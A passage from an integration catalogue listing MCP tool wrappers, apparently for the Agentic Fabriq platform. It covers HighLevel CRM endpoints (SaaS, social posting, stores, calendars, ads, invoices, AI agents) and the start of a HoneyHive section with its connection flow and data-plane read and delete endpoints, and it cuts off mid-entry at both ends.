(Formerly Location): Enable SaaS for Sub-Account (Formerly Location) based on the data provided ! This feature is only available on Agency Pro ($497) plan. (POST /saas/enable-saas/{locationId}) POST /api/v1/highlevel/saas/enable-saas/{locationId}. Scopes: none. highlevel_post_saas_pause_by_locationid (write) — Pause location: Pause Sub account for given locationId (POST /saas/pause/{locationId}) POST /api/v1/highlevel/saas/pause/{locationId}. Scopes: none. highlevel_post_saas_update_rebilling_by_companyid (write) — Update Rebilling: Bulk update rebilling for given locationIds (POST /saas/update-rebilling/{companyId}) POST /api/v1/highlevel/saas/update-rebilling/{companyId}. Scopes: none. highlevel_post_snapshots_share_link (write) — Create Snapshot Share Link: Create a share link for snapshot (POST /snapshots/share/link) POST /api/v1/highlevel/snapshots/share/link. Scopes: none. highlevel_post_social_media_posting_by_locationid_posts (write) — Create post: Create posts for all supported platforms. It is possible to create customized posts per channel by using the same platform account IDs in a request and hitting the create post API multiple times with different summaries and account IDs per... (POST /social-media-posting/{locationId}/posts) POST /api/v1/highlevel/social-media-posting/{locationId}/posts. Scopes: socialplanner/post.write. highlevel_post_social_media_posting_by_locationid_posts_bulk_delete (write) — Bulk Delete Social Planner Posts: Deletes multiple posts based on the provided list of post IDs. This operation is useful for clearing up large numbers of posts efficiently. Note: 1.The maximum number of posts that can be deleted in a single request is '50'. 2.However, It... (POST /social-media-posting/{locationId}/posts/bulk-delete) POST /api/v1/highlevel/social-media-posting/{locationId}/posts/bulk-delete. Scopes: none. highlevel_post_social_media_posting_by_locationid_posts_list (write) — Get posts: Get Posts (POST /social-media-posting/{locationId}/posts/list) POST /api/v1/highlevel/social-media-posting/{locationId}/posts/list. Scopes: socialplanner/post.readonly. highlevel_post_social_media_posting_by_locationid_set_accounts (write) — Set Accounts (POST /social-media-posting/{locationId}/set-accounts) POST /api/v1/highlevel/social-media-posting/{locationId}/set-accounts. Scopes: socialplanner/csv.write. highlevel_post_social_media_posting_by_locationid_tags_details (write) — Get tags by ids (POST /social-media-posting/{locationId}/tags/details) POST /api/v1/highlevel/social-media-posting/{locationId}/tags/details. Scopes: none. highlevel_post_social_media_posting_oauth_by_locationid_facebook_accounts_by_accountid (write) — Attach facebook pages (POST /social-media-posting/oauth/{locationId}/facebook/accounts/{accountId}) POST /api/v1/highlevel/social-media-posting/oauth/{locationId}/facebook/accounts/{accountId}. Scopes: none. highlevel_post_social_media_posting_oauth_by_locationid_google_locations_by_accountid (write) — Set google business locations (POST /social-media-posting/oauth/{locationId}/google/locations/{accountId}) POST /api/v1/highlevel/social-media-posting/oauth/{locationId}/google/locations/{accountId}. Scopes: none. highlevel_post_social_media_posting_oauth_by_locationid_instagram_accounts_by_accountid (write) — Attach Instagram Professional Accounts (POST /social-media-posting/oauth/{locationId}/instagram/accounts/{accountId}) POST /api/v1/highlevel/social-media-posting/oauth/{locationId}/instagram/accounts/{accountId}. Scopes: none. highlevel_post_social_media_posting_oauth_by_locationid_linkedin_accounts_by_accountid (write) — Attach linkedin pages and profile (POST /social-media-posting/oauth/{locationId}/linkedin/accounts/{accountId}) POST /api/v1/highlevel/social-media-posting/oauth/{locationId}/linkedin/accounts/{accountId}. Scopes: none. highlevel_post_social_media_posting_oauth_by_locationid_tiktok_accounts_by_accountid (write) — Attach Tiktok profile (POST /social-media-posting/oauth/{locationId}/tiktok/accounts/{accountId}) POST /api/v1/highlevel/social-media-posting/oauth/{locationId}/tiktok/accounts/{accountId}. Scopes: none. highlevel_post_social_media_posting_oauth_by_locationid_twitter_accounts_by_accountid (write) — Attach Twitter profile: ! As of December 4, 2024, X (formerly Twitter) is no longer supported. We apologise for any inconvenience. (POST /social-media-posting/oauth/{locationId}/twitter/accounts/{accountId}) POST /api/v1/highlevel/social-media-posting/oauth/{locationId}/twitter/accounts/{accountId}. Scopes: none. highlevel_post_social_media_posting_statistics (write) — Get Social Media Statistics: Retrieve analytics data for multiple social media accounts. Provides metrics for the last 7 days with comparison to the previous 7 days. Supports filtering by platforms and specific connected accounts. (POST /social-media-posting/statistics) POST /api/v1/highlevel/social-media-posting/statistics. Scopes: none. highlevel_post_store_shipping_carrier (write) — Create Shipping Carrier: The "Create Shipping Carrier" API allows adding a new shipping carrier. (POST /store/shipping-carrier) POST /api/v1/highlevel/store/shipping-carrier. Scopes: none. highlevel_post_store_shipping_zone (write) — Create Shipping Zone: The "Create Shipping Zone" API allows adding a new shipping zone. (POST /store/shipping-zone) POST /api/v1/highlevel/store/shipping-zone. Scopes: none. highlevel_post_store_shipping_zone_by_shippingzoneid_shipping_rate (write) — Create Shipping Rate: The "Create Shipping Rate" API allows adding a new shipping rate. (POST /store/shipping-zone/{shippingZoneId}/shipping-rate) POST /api/v1/highlevel/store/shipping-zone/{shippingZoneId}/shipping-rate. Scopes: none. highlevel_post_store_shipping_zone_shipping_rates (write) — Get available shipping rates: This return available shipping rates for country based on order amount (POST /store/shipping-zone/shipping-rates) POST /api/v1/highlevel/store/shipping-zone/shipping-rates. Scopes: none. highlevel_post_store_store_setting (write) — Create/Update Store Settings: Create or update store settings by altId and altType. (POST /store/store-setting) POST /api/v1/highlevel/store/store-setting. Scopes: none. highlevel_post_users (write) — Create User (POST /users) POST /api/v1/highlevel/users. Scopes: users.write. highlevel_post_users_search_filter_by_email (write) — Filter Users by Email: Filter users by company ID, deleted status, and email array (POST /users/search/filter-by-email) POST /api/v1/highlevel/users/search/filter-by-email. Scopes: users.readonly. highlevel_post_voice_ai_actions (write) — Create Agent Action: Create a new action for a voice AI agent. Actions define specific behaviors and capabilities for the agent during calls. (POST /voice-ai/actions) POST /api/v1/highlevel/voice-ai/actions. Scopes: voice-ai-agent-goals.write. highlevel_post_voice_ai_agents (write) — Create Agent: Create a new voice AI agent configuration and settings (POST /voice-ai/agents) POST /api/v1/highlevel/voice-ai/agents. Scopes: voice-ai-agents.write. highlevel_put_ad_publishing_facebook_ads_v2 (write) — Upsert ad: Create or update a Facebook ad (v2) (PUT /ad-publishing/facebook/ads-v2) PUT /api/v1/highlevel/ad-publishing/facebook/ads-v2. Scopes: adPublishing.write. highlevel_put_ad_publishing_facebook_adsets (write) — Upsert adset: Create or update a Facebook ad set (PUT /ad-publishing/facebook/adsets) PUT /api/v1/highlevel/ad-publishing/facebook/adsets. Scopes: adPublishing.write. highlevel_put_ad_publishing_facebook_campaigns (write) — Upsert campaign: Create or update a Facebook campaign (PUT /ad-publishing/facebook/campaigns) PUT /api/v1/highlevel/ad-publishing/facebook/campaigns. Scopes: adPublishing.write. highlevel_put_ad_publishing_facebook_custom_audience_by_audienceid (write) — Update custom audience: Update name or description of a Facebook custom audience (PUT /ad-publishing/facebook/custom-audience/{audienceId}) PUT /api/v1/highlevel/ad-publishing/facebook/custom-audience/{audienceId}. Scopes: adPublishing.write. highlevel_put_ad_publishing_facebook_custom_audience_by_audienceid_member (write) — Add custom audience member: Add a member to a Facebook custom audience (PUT /ad-publishing/facebook/custom-audience/{audienceId}/member) PUT /api/v1/highlevel/ad-publishing/facebook/custom-audience/{audienceId}/member. Scopes: adPublishing.write. highlevel_put_ad_publishing_facebook_custom_audience_by_audienceid_member_batch (write) — Batch update audience members: Add or remove members in bulk from a Facebook custom audience via CSV or smart lists (PUT /ad-publishing/facebook/custom-audience/{audienceId}/member/batch) PUT /api/v1/highlevel/ad-publishing/facebook/custom-audience/{audienceId}/member/batch. Scopes: adPublishing.write. highlevel_put_ad_publishing_facebook_page_default (write) — Set default page: Set the default Facebook page for a location (PUT /ad-publishing/facebook/page/default) PUT /api/v1/highlevel/ad-publishing/facebook/page/default. Scopes: adPublishing.write. highlevel_put_ad_publishing_facebook_pixels (write) — Upsert conversion pixel: Create or update a Facebook conversion pixel configuration (PUT /ad-publishing/facebook/pixels) PUT /api/v1/highlevel/ad-publishing/facebook/pixels. Scopes: adPublishing.write. highlevel_put_ad_publishing_google_ads (write) — Upsert Google campaign: Create or update a full Google Ads campaign structure (PUT /ad-publishing/google/ads) PUT /api/v1/highlevel/ad-publishing/google/ads. Scopes: adPublishing.write. highlevel_put_ad_publishing_google_audiences (write) — Upsert audience: Create or update a Google Ads combined audience (PUT /ad-publishing/google/audiences) PUT /api/v1/highlevel/ad-publishing/google/audiences. Scopes: adPublishing.write. highlevel_put_ad_publishing_google_conversions (write) — Upsert conversion: Create or update a Google Ads conversion action (PUT /ad-publishing/google/conversions) PUT /api/v1/highlevel/ad-publishing/google/conversions. Scopes: adPublishing.write. highlevel_put_ad_publishing_google_segments (write) — Upsert segment: Create or update a Google Ads audience segment (PUT /ad-publishing/google/segments) PUT /api/v1/highlevel/ad-publishing/google/segments. Scopes: adPublishing.write. highlevel_put_ad_publishing_linkedin_ads (write) — Upsert ad campaign group: Create or update a LinkedIn ad campaign group with campaigns and ads (PUT /ad-publishing/linkedin/ads) PUT /api/v1/highlevel/ad-publishing/linkedin/ads. Scopes: adPublishing.write. highlevel_put_associations_by_associationid (write) — Update Association By Id: Update Association , Allows you to update labels of an associations. (PUT /associations/{associationId}) PUT /api/v1/highlevel/associations/{associationId}. Scopes: associations.write. highlevel_put_blogs_posts_by_postid (write) — Update Blog Post: The "Update Blog Post" API allows you update blog post for any given blog site. Please use blogs/post-update.write (PUT /blogs/posts/{postId}) PUT /api/v1/highlevel/blogs/posts/{postId}. Scopes: blogs/post-update.write. highlevel_put_businesses_by_businessid (write) — Update Business (PUT /businesses/{businessId}) PUT /api/v1/highlevel/businesses/{businessId}. Scopes: businesses.write. highlevel_put_calendars_appointments_by_appointmentid_notes_by_noteid (write) — Update Note (PUT /calendars/appointments/{appointmentId}/notes/{noteId}) PUT /api/v1/highlevel/calendars/appointments/{appointmentId}/notes/{noteId}. Scopes: calendars/events.write. highlevel_put_calendars_by_calendarid (write) — Update Calendar: Update calendar by ID. (PUT /calendars/{calendarId}) PUT /api/v1/highlevel/calendars/{calendarId}. Scopes: calendars.write. highlevel_put_calendars_by_calendarid_notifications_by_notificationid (write) — Update notification: Update Event notification by id (PUT /calendars/{calendarId}/notifications/{notificationId}) PUT /api/v1/highlevel/calendars/{calendarId}/notifications/{notificationId}. Scopes: calendars/events.write. highlevel_put_calendars_events_appointments_by_eventid (write) — Update Appointment: Update appointment (PUT /calendars/events/appointments/{eventId}) PUT /api/v1/highlevel/calendars/events/appointments/{eventId}. Scopes: calendars/events.write. highlevel_put_calendars_events_block_slots_by_eventid (write) — Update Block Slot: Update block slot by ID (PUT /calendars/events/block-slots/{eventId}) PUT /api/v1/highlevel/calendars/events/block-slots/{eventId}. Scopes: calendars/events.write. highlevel_put_calendars_groups_by_groupid (write) — Update Group: Update Group by group ID (PUT /calendars/groups/{groupId}) PUT /api/v1/highlevel/calendars/groups/{groupId}. Scopes: calendars/groups.write. highlevel_put_calendars_groups_by_groupid_status (write) — Disable Group (PUT /calendars/groups/{groupId}/status) PUT /api/v1/highlevel/calendars/groups/{groupId}/status. Scopes: calendars/groups.write. highlevel_put_calendars_resources_by_resourcetype_by_id (write) — Update Calendar Resource: Update calendar resource by ID (PUT /calendars/resources/{resourceType}/{id}) PUT /api/v1/highlevel/calendars/resources/{resourceType}/{id}. Scopes: calendars/resources.write. highlevel_put_calendars_schedules_by_id (write) — Update user availability schedule: Modify an existing schedule by updating its rules, timezone, and name All fields are optional - only provided fields will be updated. (PUT /calendars/schedules/{id}) PUT /api/v1/highlevel/calendars/schedules/{id}. Scopes: calendars.write. highlevel_put_calendars_schedules_by_id_associations_by_calendarid (write) — Apply user availability schedule to a calendar: Associates a calendar with the given schedule by adding the calendarId to a schedule (PUT /calendars/schedules/{id}/associations/{calendarId}) PUT /api/v1/highlevel/calendars/schedules/{id}/associations/{calendarId}. Scopes: calendars.write. highlevel_put_contacts_by_contactid (write) — Update Contact: Please find the list of acceptable values for the country field here (PUT /contacts/{contactId}) PUT /api/v1/highlevel/contacts/{contactId}. Scopes: contacts.write. highlevel_put_contacts_by_contactid_notes_by_id (write) — Update Note (PUT /contacts/{contactId}/notes/{id}) PUT /api/v1/highlevel/contacts/{contactId}/notes/{id}. Scopes: contacts.write. highlevel_put_contacts_by_contactid_tasks_by_taskid (write) — Update Task (PUT /contacts/{contactId}/tasks/{taskId}) PUT /api/v1/highlevel/contacts/{contactId}/tasks/{taskId}. Scopes: contacts.write. highlevel_put_contacts_by_contactid_tasks_by_taskid_completed (write) — Update Task Completed (PUT /contacts/{contactId}/tasks/{taskId}/completed) PUT /api/v1/highlevel/contacts/{contactId}/tasks/{taskId}/completed. Scopes: contacts.write. highlevel_put_conversation_ai_agents_by_agentid (write) — Update Agent: Updates an existing AI agent's configuration. All fields in the agent configuration can be updated including name, status, actions, and behavior settings. (PUT /conversation-ai/agents/{agentId}) PUT /api/v1/highlevel/conversation-ai/agents/{agentId}. Scopes: conversation-ai.write. highlevel_put_conversation_ai_agents_by_agentid_actions_by_actionid (write) — Update Action: Updates an existing action's configuration. This includes modifying the action name, description, trigger conditions, and behavior settings. (PUT /conversation-ai/agents/{agentId}/actions/{actionId}) PUT /api/v1/highlevel/conversation-ai/agents/{agentId}/actions/{actionId}. Scopes: conversation-ai.write. highlevel_put_conversations_by_conversationid (write) — Update Conversation: Update the conversation details based on the conversation ID (PUT /conversations/{conversationId}) PUT /api/v1/highlevel/conversations/{conversationId}. Scopes: conversations.write. highlevel_put_conversations_messages_by_messageid_attachments (write) — Add message attachments: Set attachments on an existing message (replaces existing). Maximum 5 URLs. Supported for TYPE_CUSTOM_CALL (34) and TYPE_CALL (1) with subType EXTERNAL_CALL. (PUT /conversations/messages/{messageId}/attachments) PUT /api/v1/highlevel/conversations/messages/{messageId}/attachments. Scopes: conversations/message.write. highlevel_put_conversations_messages_by_messageid_status (write) — Update message status: Post the necessary fields for the API to update message status. (PUT /conversations/messages/{messageId}/status) PUT /api/v1/highlevel/conversations/messages/{messageId}/status. Scopes: conversations/message.write. highlevel_put_conversations_preferences_custom_subtypes_by_id (write) — Update Custom Subtype: Update or archive a custom subtype. Requires agency or account admin role. (PUT /conversations/preferences/custom-subtypes/{id}) PUT /api/v1/highlevel/conversations/preferences/custom-subtypes/{id}. Scopes: none. highlevel_put_custom_fields_by_id (write) — Update Custom Field By Id: Update Custom Field By Id ! Only supports Custom Objects and Company (Business) today. Will be extended to other Standard Objects in the future. (PUT /custom-fields/{id}) PUT /api/v1/highlevel/custom-fields/{id}. Scopes: locations/customFields.write. highlevel_put_custom_fields_folder_by_id (write) — Update Custom Field Folder Name: Create Custom Field Folder ! Only supports Custom Objects and Company (Business) today. Will be extended to other Standard Objects in the future. (PUT /custom-fields/folder/{id}) PUT /api/v1/highlevel/custom-fields/folder/{id}. Scopes: locations/customFields.write. highlevel_put_custom_menus_by_custommenuid (write) — Update Custom Menu Link: Updates an existing custom menu for a given company. Requires authentication and proper permissions. (PUT /custom-menus/{customMenuId}) PUT /api/v1/highlevel/custom-menus/{customMenuId}. Scopes: custom-menu-link.write. highlevel_put_invoices_by_invoiceid (write) — Update invoice: API to update invoice by invoice id (PUT /invoices/{invoiceId}) PUT /api/v1/highlevel/invoices/{invoiceId}. Scopes: invoices.write. highlevel_put_invoices_estimate_by_estimateid (write) — Update Estimate: Update an existing estimate with new details (PUT /invoices/estimate/{estimateId}) PUT /api/v1/highlevel/invoices/estimate/{estimateId}. Scopes: invoices/estimate.write. highlevel_put_invoices_estimate_template_by_templateid (write) — Update Estimate Template: Update an existing estimate template (PUT /invoices/estimate/template/{templateId}) PUT /api/v1/highlevel/invoices/estimate/template/{templateId}. Scopes: invoices/estimate.write. highlevel_put_invoices_schedule_by_scheduleid (write) — Update schedule: API to update an schedule by schedule id (PUT /invoices/schedule/{scheduleId}) PUT /api/v1/highlevel/invoices/schedule/{scheduleId}. Scopes: invoices/schedule.write. highlevel_put_invoices_template_by_templateid (write) — Update template: API to update an template by template id (PUT /invoices/template/{templateId}) PUT /api/v1/highlevel/invoices/template/{templateId}. Scopes: invoices/template.write. highlevel_put_knowledge_bases_by_id (write) — Update a knowledge base (PUT /knowledge-bases/{id}) PUT /api/v1/highlevel/knowledge-bases/{id}. Scopes: none. highlevel_put_knowledge_bases_faqs_by_id (write) — Update an existing knowledge base FAQ (PUT /knowledge-bases/faqs/{id}) PUT /api/v1/highlevel/knowledge-bases/faqs/{id}. Scopes: none. highlevel_put_links_by_linkid (write) — Update Link (PUT /links/{linkId}) PUT /api/v1/highlevel/links/{linkId}. Scopes: links.write. highlevel_put_locations_by_locationid (write) — Put Sub-Account (Formerly Location): Update a Sub-Account (Formerly Location) based on the data provided (PUT /locations/{locationId}) PUT /api/v1/highlevel/locations/{locationId}. Scopes: locations.write. highlevel_put_locations_by_locationid_customfields_by_id (write) — Update Custom Field (PUT /locations/{locationId}/customFields/{id}) PUT /api/v1/highlevel/locations/{locationId}/customFields/{id}. Scopes: none. highlevel_put_locations_by_locationid_customvalues_by_id (write) — Update Custom Value (PUT /locations/{locationId}/customValues/{id}) PUT /api/v1/highlevel/locations/{locationId}/customValues/{id}. Scopes: none. highlevel_put_locations_by_locationid_recurring_tasks_by_id (write) — Update Recurring Task (PUT /locations/{locationId}/recurring-tasks/{id}) PUT /api/v1/highlevel/locations/{locationId}/recurring-tasks/{id}. Scopes: none. highlevel_put_locations_by_locationid_tags_by_tagid (write) — Update tag (PUT /locations/{locationId}/tags/{tagId}) PUT /api/v1/highlevel/locations/{locationId}/tags/{tagId}. Scopes: none. highlevel_put_medias_delete_files (write) — Bulk Delete / Trash Files or Folders: Soft-deletes or trashes multiple files and folders in a single request (PUT /medias/delete-files) PUT /api/v1/highlevel/medias/delete-files. Scopes: none. highlevel_put_medias_update_files (write) — Bulk Update Files/ Folders: Updates metadata or status of multiple files and folders (PUT /medias/update-files) PUT /api/v1/highlevel/medias/update-files. Scopes: none. highlevel_put_objects_by_key (write) — Update Object Schema By Key / Id: Update Custom Object Schema or standard object's like contact, opportunity, business searchable fields. To understand objects and records, please have a look at the documentation here :... (PUT /objects/{key}) PUT /api/v1/highlevel/objects/{key}. Scopes: objects/schema.write. highlevel_put_objects_by_schemakey_records_by_id (write) — Update Record: Update a Custom Object Record by Id. Supported Objects are business and custom objects. (PUT /objects/{schemaKey}/records/{id}) PUT /api/v1/highlevel/objects/{schemaKey}/records/{id}. Scopes: none. highlevel_put_opportunities_by_id (write) — Update Opportunity (PUT /opportunities/{id}) PUT /api/v1/highlevel/opportunities/{id}. Scopes: opportunities.write. highlevel_put_opportunities_by_id_status (write) — Update Opportunity Status (PUT /opportunities/{id}/status) PUT /api/v1/highlevel/opportunities/{id}/status. Scopes: opportunities.write. highlevel_put_payments_coupon (write) — Update Coupon: The "Update Coupon" API enables you to modify existing coupon details such as discount values, validity periods, usage limits, and other promotional parameters. Use this endpoint to adjust or extend promotional offers for your customers. (PUT /payments/coupon) PUT /api/v1/highlevel/payments/coupon. Scopes: payments/coupons.write. highlevel_put_payments_custom_provider_capabilities (write) — Custom-provider marketplace app update capabilities: Toggle capabilities for the marketplace app tied to the OAuth client (PUT /payments/custom-provider/capabilities) PUT /api/v1/highlevel/payments/custom-provider/capabilities. Scopes: payments/custom-provider.write. highlevel_put_products_by_productid (write) — Update Product by ID: The "Update Product by ID" API allows modifying information for a specific product using its unique identifier. Use this endpoint to update details for a single product based on the provided product ID. (PUT /products/{productId}) PUT /api/v1/highlevel/products/{productId}. Scopes: products.write. highlevel_put_products_by_productid_price_by_priceid (write) — Update Price by ID for a Product: The "Update Price by ID for a Product" API allows modifying information for a specific price associated with a particular product using its unique identifier. Use this endpoint to update details for a single price based on the provided... (PUT /products/{productId}/price/{priceId}) PUT /api/v1/highlevel/products/{productId}/price/{priceId}. Scopes: products/prices.write. highlevel_put_products_collections_by_collectionid (write) — Update Product Collection: Update a specific product collection with Id :collectionId (PUT /products/collections/{collectionId}) PUT /api/v1/highlevel/products/collections/{collectionId}. Scopes: products/collection.write. highlevel_put_products_reviews_by_reviewid (write) — Update Product Reviews: Update status, reply, etc of a particular review (PUT /products/reviews/{reviewId}) PUT /api/v1/highlevel/products/reviews/{reviewId}. Scopes: products.write. highlevel_put_saas_api_public_api_update_saas_subscription_by_locationid (write) — Update SaaS subscription: Update SaaS subscription for given locationId and customerId (PUT /saas-api/public-api/update-saas-subscription/{locationId}) PUT /api/v1/highlevel/saas-api/public-api/update-saas-subscription/{locationId}. Scopes: none. highlevel_put_saas_update_saas_subscription_by_locationid (write) — Update SaaS subscription: Update SaaS subscription for given locationId and customerId (PUT /saas/update-saas-subscription/{locationId}) PUT /api/v1/highlevel/saas/update-saas-subscription/{locationId}. Scopes: none. highlevel_put_social_media_posting_by_locationid_posts_by_id (write) — Edit post: Create posts for all supported platforms. It is possible to create customized posts per channel by using the same platform account IDs in a request and hitting the create post API multiple times with different summaries and account IDs per... (PUT /social-media-posting/{locationId}/posts/{id}) PUT /api/v1/highlevel/social-media-posting/{locationId}/posts/{id}. Scopes: none. highlevel_put_store_shipping_carrier_by_shippingcarrierid (write) — Update Shipping Carrier: The "update Shipping Carrier" API allows update a shipping carrier to the system. (PUT /store/shipping-carrier/{shippingCarrierId}) PUT /api/v1/highlevel/store/shipping-carrier/{shippingCarrierId}. Scopes: none. highlevel_put_store_shipping_zone_by_shippingzoneid (write) — Update Shipping Zone: The "update Shipping Zone" API allows update a shipping zone to the system. (PUT /store/shipping-zone/{shippingZoneId}) PUT /api/v1/highlevel/store/shipping-zone/{shippingZoneId}. Scopes: none. highlevel_put_store_shipping_zone_by_shippingzoneid_shipping_rate_by_shippingrateid (write) — Update Shipping Rate: The "update Shipping Rate" API allows update a shipping rate to the system. (PUT /store/shipping-zone/{shippingZoneId}/shipping-rate/{shippingRateId}) PUT /api/v1/highlevel/store/shipping-zone/{shippingZoneId}/shipping-rate/{shippingRateId}. Scopes: none. highlevel_put_users_by_userid (write) — Update User (PUT /users/{userId}) PUT /api/v1/highlevel/users/{userId}. Scopes: users.write. highlevel_put_voice_ai_actions_by_actionid (write) — Update Agent Action: Update an existing action for a voice AI agent. Modifies the behavior and configuration of an agent action. (PUT /voice-ai/actions/{actionId}) PUT /api/v1/highlevel/voice-ai/actions/{actionId}. Scopes: voice-ai-agent-goals.write. ================================================================================ ## HoneyHive URL: https://www.agenticfabriq.com/integrations/honeyhive Section: Integrated Tools HoneyHive — 70 MCP tools Provider key: honeyhive. Scopes: data_plane_read, data_plane_write. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. honeyhive_delete_v1_charts_by_chart_id (write, destructive) — Delete a chart [Data Plane, project API key] via DELETE /v1/charts/{chart_id} DELETE /api/v1/honeyhive/v1/charts/{chart_id}. Scopes: data_plane_write. honeyhive_delete_v1_configurations_by_configid (write, destructive) — Permanently delete a configuration by its unique identifier. [Data Plane, project API key] via DELETE /v1/configurations/{configId} DELETE /api/v1/honeyhive/v1/configurations/{configId}. Scopes: data_plane_write. honeyhive_delete_v1_datapoints_by_datapoint_id (write, destructive) — Permanently delete a datapoint by its unique identifier. [Data Plane, project API key] via DELETE /v1/datapoints/{datapoint_id} DELETE /api/v1/honeyhive/v1/datapoints/{datapoint_id}. Scopes: data_plane_write. honeyhive_delete_v1_datasets (write, destructive) — Deprecated. Use `DELETE /v1/datasets/{dataset_id}` instead. [Data Plane, project API key] via DELETE /v1/datasets DELETE /api/v1/honeyhive/v1/datasets. Scopes: data_plane_write. honeyhive_delete_v1_datasets_by_dataset_id (write, destructive) — Permanently delete a dataset by its unique identifier. [Data Plane, project API key] via DELETE /v1/datasets/{dataset_id} DELETE /api/v1/honeyhive/v1/datasets/{dataset_id}. Scopes: data_plane_write. honeyhive_delete_v1_datasets_by_dataset_id_by_datapoint_id (write, destructive) — Deprecated. Use `DELETE /v1/datasets/{dataset_id}/datapoints/{datapoint_id}` instead. [Data Plane, project API key] via DELETE /v1/datasets/{dataset_id}/{datapoint_id} DELETE /api/v1/honeyhive/v1/datasets/{dataset_id}/{datapoint_id}. Scopes: data_plane_write. honeyhive_delete_v1_datasets_by_dataset_id_datapoints_by_datapoint_id (write, destructive) — Remove a specific datapoint from a dataset. The datapoint itself is not deleted, only dereferenced from the dataset. [Data Plane, project API key] via DELETE /v1/datasets/{dataset_id}/datapoints/{datapoint_id} DELETE /api/v1/honeyhive/v1/datasets/{dataset_id}/datapoints/{datapoint_id}. Scopes: data_plane_write. honeyhive_delete_v1_metrics (write, destructive) — Deprecated. Use `DELETE /v1/metrics/{metric_id}` instead. [Data Plane, project API key] via DELETE /v1/metrics DELETE /api/v1/honeyhive/v1/metrics. Scopes: data_plane_write. honeyhive_delete_v1_metrics_by_metric_id (write, destructive) — Delete a metric [Data Plane, project API key] via DELETE /v1/metrics/{metric_id} DELETE /api/v1/honeyhive/v1/metrics/{metric_id}. Scopes: data_plane_write. honeyhive_delete_v1_queues_by_queue_id (write, destructive) — Soft-delete an annotation queue by its unique identifier. [Data Plane, project API key] via DELETE /v1/queues/{queue_id} DELETE /api/v1/honeyhive/v1/queues/{queue_id}. Scopes: data_plane_write. honeyhive_delete_v1_runs_by_run_id (write, destructive) — Permanently delete an experiment run by its run ID. [Data Plane, project API key] via DELETE /v1/runs/{run_id} DELETE /api/v1/honeyhive/v1/runs/{run_id}. Scopes: data_plane_write. honeyhive_get_v1_charts (read) — Retrieve all charts in the current scope. [Data Plane, project API key] via GET /v1/charts GET /api/v1/honeyhive/v1/charts. Scopes: data_plane_read. honeyhive_get_v1_charts_by_chart_id (read) — Retrieve a single chart by id. [Data Plane, project API key] via GET /v1/charts/{chart_id} GET /api/v1/honeyhive/v1/charts/{chart_id}. Scopes: data_plane_read. honeyhive_get_v1_configurations (read) — List configurations with optional filtering by name, environment, and tags. [Data Plane, project API key] via GET /v1/configurations GET /api/v1/honeyhive/v1/configurations. Scopes: data_plane_read. honeyhive_get_v1_datapoints (read) — Retrieve datapoints, optionally filtered by a list of datapoint IDs or dataset name. [Data Plane, project API key] via GET /v1/datapoints GET /api/v1/honeyhive/v1/datapoints. Scopes: data_plane_read. honeyhive_get_v1_datapoints_by_datapoint_id (read) — Get a single datapoint by its unique identifier. [Data Plane, project API key] via GET /v1/datapoints/{datapoint_id} GET /api/v1/honeyhive/v1/datapoints/{datapoint_id}. Scopes: data_plane_read. honeyhive_get_v1_datasets (read) — Retrieve datasets, optionally filtered by dataset ID or name. [Data Plane, project API key] via GET /v1/datasets GET /api/v1/honeyhive/v1/datasets. Scopes: data_plane_read. honeyhive_get_v1_events_by_event_id (read) — Retrieve a single event by its unique identifier. The event is fetched directly from S3/MinIO storage. [Data Plane, project API key] via GET /v1/events/{event_id} GET /api/v1/honeyhive/v1/events/{event_id}. Scopes: data_plane_read. honeyhive_get_v1_events_schema (read) — Deprecated. Use `GET /v1/runs/{run_id}/schema` (single-run) or `GET /v1/runs/schema` (project-wide) instead. [Data Plane, project API key] via GET /v1/events/schema GET /api/v1/honeyhive/v1/events/schema. Scopes: data_plane_read. honeyhive_get_v1_metrics (read) — List all metrics [Data Plane, project API key] via GET /v1/metrics GET /api/v1/honeyhive/v1/metrics. Scopes: data_plane_read. honeyhive_get_v1_metrics_by_metric_id_versions (read) — Retrieve all snapshot versions of the metric's definition, ordered oldest-first. Returns the full version history unpaginated. [Data Plane, project API key] via GET /v1/metrics/{metric_id}/versions GET /api/v1/honeyhive/v1/metrics/{metric_id}/versions. Scopes: data_plane_read. honeyhive_get_v1_queues (read) — List annotation queues for the current project scope, optionally filtered by enabled status. [Data Plane, project API key] via GET /v1/queues GET /api/v1/honeyhive/v1/queues. Scopes: data_plane_read. honeyhive_get_v1_queues_by_queue_id (read) — Retrieve a single annotation queue by its unique identifier. [Data Plane, project API key] via GET /v1/queues/{queue_id} GET /api/v1/honeyhive/v1/queues/{queue_id}. Scopes: data_plane_read. honeyhive_get_v1_runs (read) — List experiment runs with optional filtering by dataset, status, name, date range, and specific run IDs. Results are paginated and sortable. [Data Plane, project API key] via GET /v1/runs GET /api/v1/honeyhive/v1/runs. Scopes: data_plane_read. honeyhive_get_v1_runs_by_new_run_id_compare_by_old_run_id (read) — Compare metrics and results between two experiment runs [Data Plane, project API key] via GET /v1/runs/{new_run_id}/compare/{old_run_id} GET /api/v1/honeyhive/v1/runs/{new_run_id}/compare/{old_run_id}. Scopes: data_plane_read. honeyhive_get_v1_runs_by_new_run_id_compare_by_old_run_id_events (read) — Retrieve and compare events between two experiment runs for detailed analysis [Data Plane, project API key] via GET /v1/runs/{new_run_id}/compare/{old_run_id}/events GET /api/v1/honeyhive/v1/runs/{new_run_id}/compare/{old_run_id}/events. Scopes: data_plane_read. honeyhive_get_v1_runs_by_new_run_id_compare_with_by_old_run_id (read) — Deprecated. Use `GET /v1/runs/{new_run_id}/compare/{old_run_id}` instead. [Data Plane, project API key] via GET /v1/runs/{new_run_id}/compare-with/{old_run_id} GET /api/v1/honeyhive/v1/runs/{new_run_id}/compare-with/{old_run_id}. Scopes: data_plane_read. honeyhive_get_v1_runs_by_run_id (read) — Retrieve the full details of a single experiment run by its run ID. [Data Plane, project API key] via GET /v1/runs/{run_id} GET /api/v1/honeyhive/v1/runs/{run_id}. Scopes: data_plane_read. honeyhive_get_v1_runs_by_run_id_metrics (read) — Retrieve event metrics from ClickHouse for a specific experiment run [Data Plane, project API key] via GET /v1/runs/{run_id}/metrics GET /api/v1/honeyhive/v1/runs/{run_id}/metrics. Scopes: data_plane_read. honeyhive_get_v1_runs_by_run_id_result (read) — Deprecated. Use `GET /v1/runs/{run_id}/summary` 